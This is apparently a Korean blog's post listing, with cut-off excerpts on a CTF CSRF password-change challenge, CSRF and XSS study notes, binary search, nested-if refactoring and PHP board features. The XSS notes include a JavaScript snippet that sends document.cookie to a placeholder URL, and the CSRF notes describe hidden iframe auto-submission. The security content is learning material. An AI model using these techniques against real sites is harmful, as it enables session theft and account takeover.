이 문제의 목표는 CSRF을 통해 피해자의 계정 비밀번호를 임의로 바꾸는 것이다. 메인페이지는 다음과 같다. guest1으로 로그인하면 다음과 같은 페이지가 나오게 된다 우리의 목적은 비밀번호 변경이므로 마이페이에서 비밀번호를 변경해보도록 하겠다. 다음과 같이 비밀번호 1234로 폼을 작성하고 요청을 보내보았다. 회원정보 수정이 완료되었다는 alert창과 함께 메인페이지로 돌아감을 알 수 있다. 이후 repeater에 method를 get으로 바꾸고 비밀번호 변경칸인 pw의 값을 1111로 변경한 뒤 url을 복사하여 전송한 결과 비밀번호가 변경되었다는 alert창이 떴다. (http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=11..
CSRF(Cross Site Request Forgery, 요청위조) : 피해자의 세션을 활용하여 피해자 모르게 피해자가 요청을 하도록 하는것. 요청을 보내는 어느곳이든 발생이 가능하다. 그 위험도의 차이만 있을 뿐이다. 민감한 요청의 예시는 아래와 같은 곳이 있다 ex) 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록... CSRF 취약점 확인 1) Method가 GET인지, 아니면 GET으로 바꿀 경우 정사적으로 요청이 처리되는지 확인. -> URL을 이용한 CSRF사용 가능 2) GET으로 요청의 처리가 이루어지지 않을 경우 XSS취약점을 활용 //보이지 않는 iframe창을 띄움 //타겟으로 stealthframe으로 지정 //버튼을 누를 필요가 없음. 위 코드와 같이 iframe으로 보이지..
XSS(Cross Site Scripting) 정의 클라이언트 측 코드를 삽입하는 공격으로 피해자의 컴퓨터(웹 브라우저)에서 실행된다. XSS시나리오 예시 서버 탈취용 서버에 데이터를 포함한 요청을 보내는 방식으로 사용 가능. //예시 var cookie = document.cookie; var img = new Image(); img.src = "URL?cookie=" + cookie; 만약 script태그를 사용 못할경우 Event Hendler를 통해 같은 역할이 가능 //예시 1) Stord XSS : 서버에 저장하는 방법 댓글이난 게시글과 같이 작성자가 입력한 값을 저장하는 곳에서 발생 가능. 장점 : 그 사이트에 접근하는 모두에게 공격이 가능 단점 : 특정 사용자를 목표로 하기 쉽지 않음, 저..
데이터를 찾기 위해서 특정 행을 검색을 하게 되면 데이터를 순차적으로 검색을 하게 될 것이다. 물론 이러한 방법이 문제가 있는것은 아니다. 데이터의 수가 적다면 말이다. 만약 특정 행의 검색을 요청하면 컴퓨터는 그 특정행을 찾기 위해 모든 행을 전부 확인 할 것이다. 즉, 데이터 수가 많을수록 속도가 더 느려지게 될 것이다. 1부터 100까지의 수 중에서 특정 수를 찾는다고 해보자. 이때 50이상인지, 이하인지를 살펴보듯이 절반씩 잘라가며 확인을 한다면 훨씬 더 빠른 속도로 값을 찾을 수 있을 것이다. 이를 이분탐색알고리즘이라하며 Blind SQL Injection에서 글자를 찾기 위한 방법으로 사용되었었다. 이 방법의 전제조건은 '정렬'이 되어있어야 한다는 것이다. 따라서 이를 위해 정렬을 시킨 또 다..
여러 조건을 중첩을 하다보면 if문이 중첩되며 오른쪽으로 코드가 밀려난다. 이때 들여쓰기 된 부분을Nesting이라 한다. 중첩을 최소화하기 위해서 Refactoring 즉, 재조정이 필요하다. 이방법은 다음과 같이 나눌 수 있다. 1) and/or 연산자로 축약 논리연산자를 통해 조건을 합치게 되면 중첩을 줄일 수 있다. 다만 이의 문제점은 로직이 변경될 수 있으며 이 또한 중첩이 많이 필요한 경우 복잡해질 수 있다. 2) Guard clause if문 끝에 조건을 모두 충족하지 않을 경우 실행되는 else문이 있다. 이 예외처리되는 코드들을 위로 올리는 것이다. 그렇게 된다면 가독성이 개선될 뿐만 아니라 로직의 변경 또한 없다.다만 이 경우에는 모든 if문을 검사하기에 실행 되는 코드들이 많아 성능면..
이번에는 게시판에서 검색기능과 페이징 기능을 만들도록 하겠다. 우선 검색기능이다. 이는 get method를 이용하여 구현하였다. form태그에 get으로 전송을 시키고 select 태그를 이용하여 전체,제목,내용,작성자 중에서 무엇을 검색할지 고를 수 있도록 하였다. 그리고 만약 get으로 target과 keyword가 전송된다면 이에 따라서 쿼리문이 달라지도록 하였다. 예시로 target이 all이면 titl, content, writer를 like문으로 keyword로 검색하도록 하는 쿼리문을 작성하였다. 이렇게 된다면 검색된 값들만 table에 표시 될 것이다.
이번 글에서는 게시판에 작성한 글의 수정을 할 수 있는 페이지를 작성해보도록 하겠다. 게시글의 수정은 다음 조건이 만족되어야한다. 작성자만이 수정가능 작성되어있던 글이 수정페이지에 나타나야함 수정일의 값이 변경되어야함. 따라서 get으로 받아온 id값으로 데이터의 값들을 가져오고 이중에서 작성자와 세션변수의 name를 비교하여 같을 경우 작성자가 맞다고 판단하여 글의 수정을 진행시켰다. 또한 이 가져온 데이터를 통해서 페이지의 내용을 가져오도록 하였다. 글의 수정은 UPDATE문을 사용하여 이루어졌다.
이번에는 게시글을 삭제 할 수 있도록하는 코드를 작성하도록하겠다. 당연하게도 게시글의 삭제는 당연히 작성자만 할 수 있도록 하여야한다. 이는 userid를 저장한 세션변수 name을 이용하였다. 우선 게시글에 대한 정보를 get으로 받아온 id값을 이용하여 가져왔다. 그리고 가져온 게시글의 작성자와 name의 비교를 통해 만약 둘이 같을경우 작성자의 요청으로 판단하여 삭제를 진행한다. 글삭제시에 실수로 삭제버튼을 누르는 것을 방지하기 위하여 conform창을 띄우도록 하였다. 만약 conform창에서 예를 누를경우 get으로 현제 페이지로 delete=ture를 전송하도록 하고 만약 delete가 true일경우 글삭제가 진행되며 없을경우 conform창을 띄우도록 하였다. 아니오를 누를 경우에는 뒤로 돌..